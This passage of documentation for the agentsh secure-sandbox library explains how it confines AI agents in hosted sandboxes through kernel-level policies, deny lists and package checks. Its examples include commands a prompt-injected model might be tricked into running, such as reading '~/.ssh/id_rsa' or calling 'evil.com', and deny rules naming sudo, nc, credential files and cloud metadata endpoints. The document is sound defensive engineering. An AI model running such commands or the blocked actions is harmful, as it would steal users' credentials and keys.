- **Resource limits** — 8 GB memory, 500 PIDs, 15 min command timeout, 12 h session timeout - **Package rules** — Blocks critical vulnerabilities and known malware ### Policy Signing Policy files can be cryptographically signed with Ed25519 keys to prove authorship and detect tampering. When signing is enabled, agentsh verifies each policy file against a trust store of public keys before loading it. ##### Configuration ```yaml policies: signing: trust_store: "/etc/agentsh/keys/" # Directory of trusted Ed25519 public key JSON files mode: "enforce" # "enforce" | "warn" | "off" (default: "off") ``` | Field | Type | Default | Description | | --- | --- | --- | --- | | `policies.signing.trust_store` | string | — | Path to directory containing trusted public key JSON files. Each file contains an Ed25519 public key with `key_id`, `label`, and optional `expires_at`. | | `policies.signing.mode` | string | `off` | `enforce` — reject policies with invalid or missing signatures (server refuses to start). `warn` — log a warning, load anyway. `off` — skip verification. | ##### Signature file format Each signed policy `policy.yaml` has a companion `policy.yaml.sig` file: ```text { "key_id": "a1b2c3d4e5f6...", // hex(SHA256(public_key_bytes)) "signature": "base64-encoded...", // Ed25519 detached signature "signer": "security-team", // human-readable label "signed_at": "2026-03-18T..." // ISO 8601 timestamp } ``` ##### Verification in all loading paths Signature verification runs in all four policy loading paths: - Server startup (policy manager initialization) - Session creation (session-specific policies) - FUSE mount policy reload - Default policy loader Every verification — success or failure — generates an audit event with `key_id`, `signer`, `signed_at`, and the verification result. Failure reasons include `invalid_signature`, `unknown_key`, `missing_signature`, and `expired_key`. See [Features → Policy Signing](https://www.agentsh.org/docs/features/#policy-signing) for the CLI workflow (keygen, sign, verify) and [Setup → Policy Signing](https://www.agentsh.org/docs/setup/#policy-signing-config) for configuration guidance. --- # Secure Sandbox - TypeScript & Python Source: https://www.agentsh.org/docs/secure-sandbox/ ## Secure Sandbox Documentation for `@agentsh/secure-sandbox``agentsh-secure-sandbox` — drop-in runtime security for hosted AI agent sandboxes. Wraps Vercel Sandbox, E2B Sandbox, Daytona Sandbox, Cloudflare Containers, Blaxel Sandbox, Sprites (Fly.io), Modal (gVisor), Runloop Devboxes, exe.dev VMs, and Freestyle VMs with kernel-level policy enforcement. ### Quick Start Install the package: ```typescript $ npm install @agentsh/secure-sandbox ``` ```python $ pip install agentsh-secure-sandbox ``` Wrap any supported sandbox in three lines: ```typescript import { Sandbox } from '@vercel/sandbox'; import { secureSandbox, adapters } from '@agentsh/secure-sandbox'; const raw = await Sandbox.create({ runtime: 'node24' }); const sandbox = await secureSandbox(adapters.vercel(raw)); await sandbox.exec('npm install express'); // allowed await sandbox.exec('cat ~/.ssh/id_rsa'); // blocked by policy ``` ```python from vercel_sandbox import Sandbox from agentsh_secure_sandbox import secure_sandbox from agentsh_secure_sandbox.adapters import vercel raw = await Sandbox.create(runtime="node24") sandbox = await secure_sandbox(vercel(raw)) await sandbox.exec("npm install express") # allowed await sandbox.exec("cat ~/.ssh/id_rsa") # blocked by policy ``` `secureSandbox()` is built on [**agentsh**](https://github.com/canyonroad/agentsh) (agent shell), the open-source execution-layer security engine. It installs the agentsh binary into the sandbox, replaces `/bin/bash` with a policy-enforcing shell shim, and routes every operation through multiple kernel-level enforcement layers. Unlike prompt-level guardrails that depend on the AI model complying with instructions, agentsh operates *below* the model layer — intercepting actual system calls (file access, network connections, process execution) and evaluating them against deterministic policy rules. No matter what prompt injection is attempted, policy enforcement is applied to the real operations the agent tries to perform. Learn more about this approach in the [execution-layer security overview](https://www.agentsh.org/execution-layer-security/). The enforcement layers: - **seccomp** — blocks dangerous syscalls (`sudo`, `nc`, privilege escalation) before execution. When FUSE and Landlock are unavailable, seccomp user-notify also provides [file enforcement](https://www.agentsh.org/docs/features/#seccomp-file-enforcement) via AddFD emulation. - **Landlock** — kernel-level filesystem restrictions, immutable after activation - **FUSE** — virtual filesystem layer for file operation interception and soft-delete quarantine. Supports automatic mount method detection including the new mount API for Firecracker microVMs. - **ptrace** — syscall-level enforcement for restricted runtimes (gVisor, Fargate) where seccomp/eBPF/FUSE are unavailable. Includes exit-time symlink verification and soft-delete. - **Network Proxy** — domain and port-based connection filtering, prevents data exfiltration - **DLP** — detects and redacts secrets (API keys, tokens, credentials) in command output Landing page For a quick overview and interactive examples, see the [secure-sandbox landing page](https://www.agentsh.org/secure-sandbox/). ### Vercel AI SDKPydantic AI `@agentsh/secure-sandbox` pairs naturally with the [Vercel AI SDK](https://sdk.vercel.ai/). Use `createSandbox` from the AI SDK to spin up a sandbox, then wrap it with `secureSandbox` so every tool call the model makes — file writes, shell commands, network requests — is policy-enforced at the kernel level. ```typescript import { generateText } from 'ai'; import { openai } from '@ai-sdk/openai'; import { Sandbox } from '@vercel/sandbox'; import { secureSandbox, adapters } from '@agentsh/secure-sandbox'; import { agentDefault } from '@agentsh/secure-sandbox/policies'; // 1. Create the sandbox and secure it const raw = await Sandbox.create(); const sandbox = await secureSandbox(adapters.vercel(raw), { policy: agentDefault({ network: [ { allow: ['api.openai.com'], ports: [443] }, ], }), }); // 2. Give the model tools that run inside the secured sandbox const result = await generateText({ model: openai('gpt-5.4'), prompt: 'Set up a Node.js project with Express and create a hello-world server.', tools: { exec: { description: 'Run a shell command in the sandbox', parameters: { command: { type: 'string' } }, async execute({ command }) { const { stdout, stderr } = await sandbox.exec(command); return { stdout, stderr }; }, }, writeFile: { description: 'Write a file in the sandbox', parameters: { path: { type: 'string' }, content: { type: 'string' } }, async execute({ path, content }) { return await sandbox.writeFile(path, content); }, }, }, }); // The model can npm install, write files, run code — but can't // read ~/.ssh, curl evil domains, or escalate privileges. await sandbox.stop(); ``` Every tool call the model makes goes through the agentsh policy engine. If a prompt injection tricks the model into running `cat ~/.ssh/id_rsa` or `curl https://evil.com`, it gets blocked at the kernel level — regardless of what the model intended. `agentsh-secure-sandbox` integrates with [Pydantic AI](https://ai.pydantic.dev/) via the `SecureSandboxToolset`. It provides three tools — `run_command`, `write_file`, and `read_file` — that run inside the secured sandbox with full policy enforcement. ```python from pydantic_ai import Agent from daytona_sdk import Daytona from agentsh_secure_sandbox import SecureSandboxToolset from agentsh_secure_sandbox.adapters import daytona from agentsh_secure_sandbox.policies import agent_default ## 1. Create the sandbox and secure it raw = await Daytona().create() toolset = SecureSandboxToolset( daytona(raw), policy=agent_default( network=[{"allow": ["api.openai.com"], "ports": [443]}], ), ) ## 2. Give the model tools that run inside the secured sandbox agent = Agent("claude-sonnet-4-6", toolsets=[toolset]) result = await agent.run( "Set up a Python project with FastAPI and create a hello-world server." ) ## The model can pip install, write files, run code — but can't ## read ~/.ssh, curl evil domains, or escalate privileges. await toolset.cleanup() ``` Every tool call the model makes goes through the agentsh policy engine. If a prompt injection tricks the model into running `cat ~/.ssh/id_rsa` or `curl https://evil.com`, it gets blocked at the kernel level — regardless of what the model intended. ### Supported Platforms Built-in adapters for the major hosted AI sandbox providers. Each adapter maps the platform’s SDK to the `SandboxAdapter` interface with zero configuration. #### Platform Matrix | Provider | seccomp | Landlock | FUSE | Network Proxy | DLP | Typical config | | --- | --- | --- | --- | --- | --- | --- | | **Vercel Sandbox** | Yes | Yes | No * | Yes | Yes | `landlock` | | **E2B Sandbox** | Yes | Yes | Yes | Yes | Yes | `full` | | **Daytona Sandbox** | Yes | Yes | Yes | Yes | Yes | `full` | | **Cloudflare Containers** | Yes | Yes | No * | Yes | Yes | `landlock` | | **Blaxel Sandbox** | Yes | Yes | Yes | Yes | Yes | `full` | | **Sprites** (Fly.io) | Yes | Yes | Yes | Yes | Yes | `full` | | **Modal** (gVisor) | No | No | No | Yes | Yes | `security.mode: minimal` + `sandbox.ptrace` | | **Runloop** | Yes | Yes | Yes * | Yes | Yes | `full` | | **exe.dev** | Yes | Yes | Yes * | Yes | Yes | `full` (hybrid) | | **Freestyle** | Yes | No ** | Yes * | Yes | Yes | `minimal` | * FUSE availability Some platforms (Vercel, Cloudflare) do not expose `/dev/fuse`, so the FUSE virtual filesystem layer cannot be mounted. Without FUSE, soft-delete quarantine and real-paths virtualization are not available. Other platforms (Runloop, exe.dev, Freestyle) support FUSE via deferred activation — the binary configures FUSE at runtime after enabling `/dev/fuse` access. All other enforcement layers — seccomp, Landlock, Network Proxy, and DLP — operate normally. ** Landlock on Freestyle The Freestyle kernel (`6.1.0-6-freestyle`) is currently compiled without `CONFIG_SECURITY_LANDLOCK=y`, so Landlock-based file enforcement is not available. `freestyleDefaults()` sets `allowDegraded: true` and the runtime settles into `minimal` security mode (seccomp wrapper + network proxy + FUSE workspace + cgroups). Command blocking, FUSE-protected workspaces, network policy, and DLP redaction all enforce normally. #### Adapters Each adapter wraps a provider’s SDK object. Import from `adapters`: ```typescript import { secureSandbox, adapters } from '@agentsh/secure-sandbox'; // Vercel const sb = await secureSandbox(adapters.vercel(raw)); // E2B const sb = await secureSandbox(adapters.e2b(raw)); // Daytona const sb = await secureSandbox(adapters.daytona(raw)); // Cloudflare Containers const sb = await secureSandbox(adapters.cloudflare(raw)); // Blaxel const sb = await secureSandbox(adapters.blaxel(raw)); // Sprites (Fly.io Firecracker microVMs) const sb = await secureSandbox(adapters.sprites(raw)); // Modal (gVisor — uses ptrace enforcement) import { modal, modalDefaults } from '@agentsh/secure-sandbox/adapters/modal'; const sb = await secureSandbox(modal(raw), { ...modalDefaults() }); // Runloop (seccomp + FUSE + Landlock + cgroups) const sb = await secureSandbox(adapters.runloop({ client, id: devbox.id }), adapters.runloopDefaults()); // exe.dev (hybrid ptrace+seccomp, persistent VMs via SSH) const sb = await secureSandbox(adapters.exe('my-vm'), adapters.exeDefaults()); // Freestyle (Firecracker VMs — minimal mode, no Landlock) import { freestyle, freestyleDefaults } from '@agentsh/secure-sandbox/adapters/freestyle'; const sb = await secureSandbox(freestyle(vm), freestyleDefaults()); ``` ```python from agentsh_secure_sandbox import secure_sandbox from agentsh_secure_sandbox.adapters import vercel, e2b, daytona, cloudflare, blaxel, sprites from agentsh_secure_sandbox.adapters.modal import modal, modal_defaults from agentsh_secure_sandbox.adapters import runloop, runloop_defaults from agentsh_secure_sandbox.adapters import exe, exe_defaults from agentsh_secure_sandbox.adapters.freestyle import FreestyleClient, freestyle, freestyle_defaults ## Vercel sb = await secure_sandbox(vercel(raw)) ## E2B sb = await secure_sandbox(e2b(raw)) ## Daytona sb = await secure_sandbox(daytona(raw)) ## Cloudflare Containers sb = await secure_sandbox(cloudflare(raw)) ## Blaxel sb = await secure_sandbox(blaxel(raw)) ## Sprites (Fly.io) sb = await secure_sandbox(sprites(raw)) ## Modal (gVisor) — uses ptrace enforcement sb = await secure_sandbox(modal(raw), **modal_defaults()) ## Runloop sb = await secure_sandbox(runloop(client=client, id=devbox.id), **runloop_defaults()) ## exe.dev — hybrid ptrace+seccomp sb = await secure_sandbox(exe("my-vm"), **exe_defaults()) ## Freestyle — minimal mode (no Landlock) async with FreestyleClient(api_key=FREESTYLE_API_KEY) as client: vm = await client.create_sandbox_vm() sb = await secure_sandbox(freestyle(vm), **freestyle_defaults()) ``` You can also implement a custom adapter by providing an object with `exec`, `writeFile`, and `readFile` methods. See [API Reference](https://www.agentsh.org/docs/secure-sandbox/#api-reference) below. ### Policy System Policies define what operations are allowed, denied, redirected, or audited inside a secured sandbox. Policies are TypeScript objects validated with Zod and serialized to YAML for the agentsh engine. #### Presets Four built-in presets cover common use cases: | Preset | Use Case | Network | Filesystem | Commands | | --- | --- | --- | --- | --- | | `agentDefault` | Production AI agents | Allowlisted registries (npm, PyPI, Cargo, Go, GitHub) on port 443 | Workspace read/write/create, deny `.ssh`, `.aws`, `.env`, shell configs | Safe utilities + dev tools, deny `sudo`/`env`/`shutdown` | | `devSafe` | Local development | Permissive (no deny-all) | Workspace-focused, fewer restrictions | Fewer command restrictions | | `ciStrict` | CI/CD runners | Strict registries only | Deny all files outside workspace | Restricted command set | | `agentSandbox` | Untrusted code | No network access | Read-only workspace | Heavily restricted | Usage: ```typescript import { agentDefault, devSafe, ciStrict, agentSandbox } from '@agentsh/secure-sandbox/policies'; // Use a preset directly const sandbox = await secureSandbox(adapter, { policy: ciStrict() }); ``` ```python from agentsh_secure_sandbox.policies import agent_default, dev_safe, ci_strict, agent_sandbox ## Use a preset directly sandbox = await secure_sandbox(adapter, policy=ci_strict()) ``` #### Extending Policies Every preset accepts an override object to add rules. Override rules are appended — the preset’s base rules take priority (first-match-wins). ```typescript import { agentDefault } from '@agentsh/secure-sandbox/policies'; const policy = agentDefault({ network: [ { allow: ['api.stripe.com', 'api.openai.com'], ports: [443] } ], file: [ { allow: '/data/**', ops: ['read', 'write'] } ], command: [ { allow: ['ffmpeg'] } ], }); const sandbox = await secureSandbox(adapter, { policy }); ``` ```python from agentsh_secure_sandbox.policies import agent_default policy = agent_default( network=[ {"allow": ["api.stripe.com", "api.openai.com"], "ports": [443]} ], file=[ {"allow": "/data/**", "ops": ["read", "write"]} ], ) ``` #### Merging Policies For more control, use `merge()` or `mergePrepend()` to combine multiple policy objects: ```typescript import { merge, mergePrepend } from '@agentsh/secure-sandbox/policies'; // Append: base rules take priority (first-match-wins) const combined = merge(basePolicy, overridePolicy); // Prepend: override rules take priority const combined = mergePrepend(basePolicy, overridePolicy); ``` ```python from agentsh_secure_sandbox.policies import merge, merge_prepend ## Append: base rules take priority (first-match-wins) combined = merge(base_policy, override_policy) ## Prepend: overrides take priority combined = merge_prepend(base_policy, override_policy) ``` ### Policy Rules Reference A policy is a TypeScript object with five optional rule arrays: `file`, `network`, `command`, `env`, and `packageRules`. Here is the overall structure: ```typescript import { agentDefault } from '@agentsh/secure-sandbox/policies'; const policy = agentDefault({ file: [ // file rules go here (see below) ], network: [ // network rules go here (see below) ], command: [ // command rules go here (see below) ], env: [ // environment rules go here (see below) ], packageRules: [ // package install rules go here (see below) ], }); const sandbox = await secureSandbox(adapter, { policy }); ``` ```python from agentsh_secure_sandbox.policies import agent_default policy = agent_default( file=[ # file rules go here (see below) ], network=[ # network rules go here ], command=[ # command rules go here ], env=[ # environment variable rules go here ], package_rules=[ # package install rules go here ], ) ``` Each rule type is an array of rule objects. Rules are evaluated top-to-bottom; the first matching rule wins. Package rules use a `match`/`action` pattern instead of `allow`/`deny`. The sections below show the available fields and examples for each rule type. #### File Rules | Field | Type | Description | | --- | --- | --- | | `allow` or `deny` | `string \| string[]` | Glob pattern(s) for file paths | | `ops` | `('read' \| 'write' \| 'create' \| 'delete')[]` | Which file operations this rule applies to. Omit for all operations. | | `decision` | `'allow' \| 'deny' \| 'redirect' \| 'audit' \| 'softDelete'` | Override the decision (alternative to using `allow`/`deny` keys) | | `redirect` | `string` | Redirect path (when decision is `redirect`) | ```typescript const policy = agentDefault({ file: [ // Deny access to credential files { deny: ['/home/*/.ssh/**', '/home/*/.aws/**'] }, // Allow read-only access to /data { allow: '/data/**', ops: ['read'] }, // Soft-delete instead of real delete (files go to trash) { decision: 'softDelete', allow: '/workspace/**', ops: ['delete'] }, ], }); ``` ```python policy = agent_default( file=[ # Deny access to credential files {"deny": ["/home/*/.ssh/**", "/home/*/.aws/**"]}, # Allow read-only access to workspace {"allow": "/workspace/**", "ops": ["read"]}, # Enable soft-delete (quarantine instead of hard delete) {"allow": "/workspace/**", "ops": ["write"], "softDelete": True}, ], ) ``` #### Network Rules | Field | Type | Description | | --- | --- | --- | | `allow` or `deny` | `string[]` | Domain patterns to match | | `ports` | `number[]` | Restrict to specific ports. Omit for all ports. | | `decision` | `'allow' \| 'deny' \| 'redirect'` | Override the decision | | `redirect` | `string` | Redirect destination (when decision is `redirect`) | ```typescript const policy = agentDefault({ network: [ // Allow only HTTPS to specific APIs { allow: ['api.stripe.com', 'api.openai.com'], ports: [443] }, // Block cloud metadata endpoints { deny: ['169.254.169.254', 'metadata.google.internal'] }, // Redirect npm to internal registry { decision: 'redirect', allow: ['registry.npmjs.org'], redirect: 'npm.internal.company.com' }, ], }); ``` ```python policy = agent_default( network=[ # Allow only HTTPS to specific APIs {"allow": ["api.stripe.com", "api.openai.com"], "ports": [443]}, # Block cloud metadata endpoints {"deny": ["169.254.169.254", "metadata.google.internal"]}, # Redirect registry traffic {"allow": ["registry.npmjs.org", "pypi.org"]}, ], ) ``` #### Command Rules | Field | Type | Description | | --- | --- | --- | | `allow` or `deny` | `string[]` | Command names or patterns | | `decision` | `'allow' \| 'deny' \| 'redirect'` | Override the decision | | `redirect` | `string` | Redirect to alternative command | ```typescript const policy = agentDefault({ command: [ // Block privilege escalation { deny: ['sudo', 'su', 'env', 'shutdown', 'reboot'] }, // Redirect curl to agentsh-fetch (prevents raw exfiltration) { decision: 'redirect', allow: ['curl', 'wget'], redirect: 'agentsh-fetch' }, ], }); ``` ```python policy = agent_default( command=[ # Block privilege escalation {"deny": ["sudo", "su", "env", "shutdown", "reboot"]}, # Redirect curl/wget to safe wrapper {"redirect": {"from": "curl", "to": "safe-curl"}}, ], ) ``` #### Environment Rules Control which environment variables are visible to commands, or inject new ones: ```typescript const policy = agentDefault({ env: [ // Hide specific environment variables { deny: ['AWS_SECRET_ACCESS_KEY', 'GITHUB_TOKEN'] }, // Inject environment variables { inject: { 'NODE_ENV': 'production', 'AGENTSH': '1' } }, ], }); ``` ```python policy = agent_default( env=[ # Hide specific environment variables {"deny": ["AWS_SECRET_ACCESS_KEY", "GITHUB_TOKEN"]}, # Inject safe defaults {"set": {"NODE_ENV": "sandbox", "HOME": "/workspace"}}, ], ) ``` #### Package Rules Control what packages can be installed based on vulnerability data, malware detection, typosquatting analysis, and license checks. Package rules are evaluated when an agent runs `npm install`, `pip install`, or similar commands. | Field | Type | Description | | --- | --- | --- | | `match` | `PackageMatch` | Conditions to match: `vulnerability`, `malware`, `typosquat`, `license`, `newPackage` | | `action` | `'block' \| 'warn' \| 'approve'` | What to do when the rule matches | **Match conditions:** | Condition | Type | Description | | --- | --- | --- | | `vulnerability` | `{ severity: 'critical' \| 'high' \| 'medium' \| 'low' }` | Match packages with known vulnerabilities at or above the given severity | | `malware` | `true` | Match packages flagged as malware | | `typosquat` | `true` | Match packages detected as typosquats of popular packages | | `license` | `{ category: string }` | Match packages by license category (e.g. `'copyleft'`, `'unknown'`) | | `newPackage` | `true` | Match packages not already in the lockfile | ```typescript const policy = agentDefault({ packageRules: [ // Block critical vulnerabilities and malware { match: { vulnerability: { severity: 'critical' } }, action: 'block' }, { match: { malware: true }, action: 'block' }, { match: { typosquat: true }, action: 'block' }, // Block copyleft licenses { match: { license: { category: 'copyleft' } }, action: 'block' }, // Warn on medium vulnerabilities { match: { vulnerability: { severity: 'medium' } }, action: 'warn' }, // Approve new packages (require review) { match: { newPackage: true }, action: 'approve' }, ], }); ``` ```python policy = agent_default( package_rules=[ # Block critical vulnerabilities and malware {"match": {"vulnerability": {"severity": "critical"}}, "action": "block"}, {"match": {"malware": True}, "action": "block"}, # Block known typosquats {"match": {"typosquat": True}, "action": "block"}, # Audit copyleft licenses {"match": {"license": {"spdx": ["GPL-3.0", "AGPL-3.0"]}}, "action": "audit"}, ], ) ``` Default package rules The `agentDefault()` preset includes sensible package rules: block critical vulnerabilities, malware, and typosquats; block copyleft licenses; warn on medium vulnerabilities; and approve new packages for review. ### Package Install Security Checks When an agent runs a package install command (`npm install`, `pip install`, `cargo add`, etc.), secure-sandbox can intercept the install and check each package against multiple vulnerability and quality databases before allowing it. #### Providers Three providers supply package intelligence: | Provider | Description | Data Source | | --- | --- | --- | | `local` | Fast local checks — typosquat detection, license analysis, lockfile diffing | Local heuristics | | `osv` | Known vulnerability lookup via the Open Source Vulnerabilities database | osv.dev | | `depsdev` | Package metadata, scorecard, and dependency graph analysis | deps.dev | #### Configuration Enable package checks via the `packageChecks` config option: ```typescript const sandbox = await secureSandbox(adapter, { packageChecks: { scope: 'all', // 'all' | 'new-only' | 'none' providers: ['local', 'osv', 'depsdev'], }, }); ``` ```python sandbox = await secure_sandbox(adapter, package_checks={ "scope": "all", # "all" | "new-only" | "none" "providers": ["local", "osv", "depsdev"], }, ) ``` | Field | Type | Default | Description | | --- | --- | --- | --- | | `scope` | `'all' \| 'new-only' \| 'none'` | `'all'` | `'all'` checks every package; `'new-only'` checks only packages not in the lockfile; `'none'` disables checks | | `providers` | `string[]` | `['local', 'osv', 'depsdev']` | Which providers to query | Enabled by default The `agentDefault()` preset enables package checks with all three providers. Set `packageChecks: { scope: 'none' }` to disable. ### Security Modes The system automatically negotiates the strongest available `security.mode` based on kernel capabilities. Ptrace is opt-in under `sandbox.ptrace`, so ptrace-backed rows describe the effective configuration rather than a separate `security.mode` enum. | Configuration | Enforcement Layers | Platforms | | --- | --- | --- | | `security.mode: full` | seccomp + Landlock + FUSE + Network Proxy + DLP | E2B, Daytona, Blaxel, Sprites, Runloop | | `security.mode: full` + `sandbox.ptrace` | ptrace (execve) + seccomp (file monitor) + Landlock + FUSE + Network Proxy + DLP | exe.dev | | `security.mode: minimal` + `sandbox.ptrace` | ptrace syscall interception + Network Proxy + DLP | Modal (gVisor), AWS Fargate, restricted Kubernetes (opt-in) | | `security.mode: landlock` | seccomp + Landlock + Network Proxy + DLP (no FUSE) | Vercel, Cloudflare | | `security.mode: landlock-only` | Landlock filesystem restrictions only | Older kernels | | `security.mode: minimal` | Policy evaluation only, no kernel enforcement | Fallback | Each layer provides specific protections: - **seccomp** — blocks dangerous syscalls (`sudo`, `nc`, `env`) before execution - **Landlock** — kernel-level filesystem restrictions, immutable after activation - **FUSE** — virtual filesystem layer for soft-delete quarantine and real-paths virtualization - **Network Proxy** — domain and port-based connection filtering, prevents exfiltration - **DLP** — detects and redacts secrets in command output - **ptrace** — syscall-level interception via Linux ptrace for execve, file I/O, network, and signal enforcement; enables full policy enforcement on Modal (gVisor), Fargate, and restricted runtimes (opt-in) #### Minimum Security Use `minimumSecurityMode` to fail provisioning if the kernel can’t meet your requirements: ```typescript const sandbox = await secureSandbox(adapter, { minimumSecurityMode: 'landlock', // fail if weaker than landlock }); ``` ```python sandbox = await secure_sandbox(adapter, minimum_security_mode="landlock", # fail if weaker than landlock ) ``` Production recommendation Always set `minimumSecurityMode` in production to ensure kernel-level enforcement. Without it, the system may silently fall back to `minimal` mode. ### Threat Intelligence By default, secure-sandbox blocks connections to known-malicious domains using two threat feeds: - **URLhaus** (abuse.ch) — malware distribution domains, refreshed every 6 hours - **Phishing.Database** (GitHub) — active phishing domains, refreshed every 12 hours Package registries (npm, PyPI, Cargo, Go, GitHub) are always allowlisted and never blocked by threat feeds. Disable threat feeds entirely: ```typescript const sandbox = await secureSandbox(adapter, { threatFeeds: false, }); ``` ```python sandbox = await secure_sandbox(adapter, threat_feeds=False, ) ``` #### Custom Feeds Add your own threat intelligence sources or replace the defaults: ```typescript const sandbox = await secureSandbox(adapter, { threatFeeds: { action: 'deny', // or 'audit' to log without blocking feeds: [ { name: 'internal-blocklist', url: 'https://security.internal/blocked-domains.txt', format: 'domain-list', // or 'hostfile' refreshInterval: '1h', }, ], allowlist: ['trusted.internal.com'], }, }); ``` ```python sandbox = await secure_sandbox(adapter, threat_feeds={ "action": "deny", # or "audit" to log without blocking "feeds": [ { "name": "internal-blocklist", "url": "https://security.internal/feeds/domains.txt", "type": "domain", "refresh_hours": 6, }, { "name": "urlhaus", "url": "https://urlhaus.abuse.ch/downloads/text_online/", "type": "domain", }, ], }, ) ``` | Field | Type | Description | | --- | --- | --- | | `action` | `'deny' \| 'audit'` | Block or just log matches. Default: `'deny'` | | `feeds[].name` | `string` | Display name for the feed | | `feeds[].url` | `string` | URL to the feed file | | `feeds[].format` | `'hostfile' \| 'domain-list'` | Feed format | | `feeds[].refreshInterval` | `string` | How often to refresh. Default: `'6h'` | | `allowlist` | `string[]` | Domains to never block | ### API Reference #### `secureSandbox(adapter, config?)` Secures any sandbox via its adapter. Returns a `SecuredSandbox` that mediates every command, file read, and file write through the agentsh policy engine. ```typescript async function secureSandbox( adapter: SandboxAdapter, config?: SecureConfig ): Promise ``` ```python async def secure_sandbox( adapter: SandboxAdapter, *, policy: Policy | None = None, package_checks: PackageChecksConfig | None = None, minimum_security_mode: str | None = None, threat_feeds: bool | ThreatFeedsConfig | None = None, server_config: ServerConfig | None = None, ) -> SecuredSandbox: ... ``` #### `SecuredSandbox` The secured wrapper returned by `secureSandbox()`: ```typescript interface SecuredSandbox { exec(command: string, opts?: { cwd?: string; timeout?: number; }): Promise; writeFile(path: string, content: string): Promise; readFile(path: string): Promise; stop(): Promise; readonly sessionId: string; readonly securityMode: SecurityMode; } ``` ```python class SecuredSandbox: async def exec(self, command: str, *, cwd: str | None = None, timeout: int | None = None) -> ExecResult: ... async def write_file(self, path: str, content: str | bytes) -> None: ... async def read_file(self, path: str) -> str: ... async def stop(self) -> None: ... @property def security_mode(self) -> str: ... @property def audit_log(self) -> list[AuditEntry]: ... ``` | Method | Description | | --- | --- | | `exec(command)` | Run a shell command through the policy engine. Returns `{ stdout, stderr, exitCode }`. | | `writeFile(path, content)` | Write a file after policy check. Returns `{ success, path, error? }`. | | `readFile(path)` | Read a file after policy check. Returns `{ success, path, content?, error? }`. | | `stop()` | Terminate the sandbox and release resources. | | `sessionId` | Unique agentsh session identifier. | | `securityMode` | Negotiated security mode (`full`, `ptrace`, `landlock`, `landlock-only`, `minimal`). | #### Config Options | Option | Type | Default | Description | | --- | --- | --- | --- | | `policy` | `PolicyDefinition` | `agentDefault()` | Policy rules for file, network, command, env, and package access | | `workspace` | `string` | `'/workspace'` | Root path for workspace-relative policy rules | | `installStrategy` | `string` | `'download'` | `'download'`, `'upload'`, `'preinstalled'`, or `'running'` | | `agentshVersion` | `string` | `'0.15.0'` | Pin to a specific agentsh release | | `minimumSecurityMode` | `SecurityMode` | — | Fail if kernel can’t enforce this level | | `threatFeeds` | `false \| ThreatFeedsConfig` | URLhaus + Phishing.Database | Threat intelligence configuration | | `packageChecks` | `PackageChecksConfig` | All providers enabled | Package install security check configuration (see Package Install Security Checks) | | `realPaths` | `boolean` | `false` | Use real host paths instead of virtualizing | | `enforceRedirects` | `boolean` | `false` | Make redirects enforced instead of shadowed | | `serverConfig` | `ServerConfig` | — | Advanced server options: gRPC settings, logging, session limits, audit config, sandbox resource limits, and ptrace configuration | | `watchtower` | `string` | — | Event sink URL for audit events | | `traceParent` | `string` | — | W3C traceparent header for OpenTelemetry tracing | #### Error Classes All errors extend `AgentSHError`: | Error | When | | --- | --- | | `PolicyValidationError` | Policy object fails Zod schema validation | | `ProvisioningError` | Binary installation, config writing, or server startup fails | | `IntegrityError` | SHA256 checksum mismatch on downloaded binary | | `RuntimeError` | Command execution failure (includes `sessionId` for debugging) | | `MissingPeerDependencyError` | Sandbox provider SDK not installed | | `IncompatibleProviderVersionError` | Provider SDK version mismatch | ```typescript import { ProvisioningError, RuntimeError } from '@agentsh/secure-sandbox'; try { const sandbox = await secureSandbox(adapter); } catch (e) { if (e instanceof ProvisioningError) { console.error('Setup failed:', e.phase, e.stderr); } } ``` ```python from agentsh_secure_sandbox import ProvisioningError, RuntimeError try: sandbox = await secure_sandbox(adapter) except ProvisioningError as e: if e.reason == "unsupported_platform": print(f"Platform not supported: {e.message}") elif e.reason == "binary_install_failed": print(f"Failed to install agentsh: {e.message}") except RuntimeError as e: print(f"Runtime error: {e.message}") ``` Custom adapters To integrate a sandbox not listed above, implement the `SandboxAdapter` interface with `exec`, `writeFile`, and `readFile` methods, then pass it directly to `secureSandbox()`. ```typescript const myAdapter: SandboxAdapter = { async exec(cmd, args, opts) { /* ... */ }, async writeFile(path, content) { /* ... */ }, async readFile(path) { /* ... */ }, }; const sandbox = await secureSandbox(myAdapter); ``` ```python class MyAdapter: async def exec(self, cmd: str, args: list[str], opts: dict | None = None) -> ExecResult: ... async def write_file(self, path: str, content: str | bytes) -> None: ... async def read_file(self, path: str) -> str: ... ``` #### Ptrace Configuration For platforms that require ptrace-based enforcement (Modal, AWS Fargate, restricted Kubernetes), configure ptrace via `serverConfig.ptrace`: ```typescript const sandbox = await secureSandbox(adapter, { serverConfig: { ptrace: { enabled: true, attachMode: 'children', // 'children' or 'pid' maskTracerPid: 'off', // hide tracer from /proc/*/status trace: { execve: true, file: true, network: true, signal: true, }, performance: { seccompPrefilter: false, // disable on gVisor maxTracees: 500, maxHoldMs: 5000, }, onAttachFailure: 'fail_open', // or 'fail_closed' }, }, }); ``` ```python sandbox = await secure_sandbox(adapter, server_config={ "ptrace": { "enabled": True, "attach_mode": "children", # "children" or "pid" "trace": { "file_ops": True, "network_ops": True, "process_ops": True, }, "performance": { "cache_decisions": True, "batch_signals": True, }, "behavior": { "follow_forks": True, "exit_symlink_verify": True, }, }, }, ) ``` | Option | Type | Default | Description | | --- | --- | --- | --- | | `enabled` | `boolean` | `false` | Enable ptrace-based syscall tracing | | `attachMode` | `'children' \| 'pid'` | `'children'` | `'children'` traces all child processes; `'pid'` attaches to a specific PID | | `maskTracerPid` | `string` | `'off'` | Hide the tracer PID from `/proc/*/status` reads | | `trace.execve` | `boolean` | `true` | Intercept execve/execveat syscalls | | `trace.file` | `boolean` | `true` | Intercept file I/O syscalls (openat, unlinkat, renameat2, etc.) | | `trace.network` | `boolean` | `true` | Intercept connect/bind + DNS proxy | | `trace.signal` | `boolean` | `true` | Intercept kill/tgkill/tkill | | `performance.seccompPrefilter` | `boolean` | `true` | Inject BPF pre-filter into tracees. Disable on gVisor. | | `performance.maxTracees` | `number` | `500` | Maximum concurrent traced threads | | `performance.maxHoldMs` | `number` | `5000` | Timeout for held syscalls (ms) | | `onAttachFailure` | `'fail_open' \| 'fail_closed'` | `'fail_open'` | Behavior when ptrace attach fails | #### Modal Adapter Modal sandboxes run on gVisor, which does not support seccomp user-notify, Landlock, or FUSE. The Modal adapter uses ptrace-based enforcement for full policy coverage. ```typescript import { secureSandbox } from '@agentsh/secure-sandbox'; import { modal, modalDefaults } from '@agentsh/secure-sandbox/adapters/modal'; const sandbox = await secureSandbox(modal(modalSandbox), { ...modalDefaults(), // pre-configured for gVisor/ptrace // 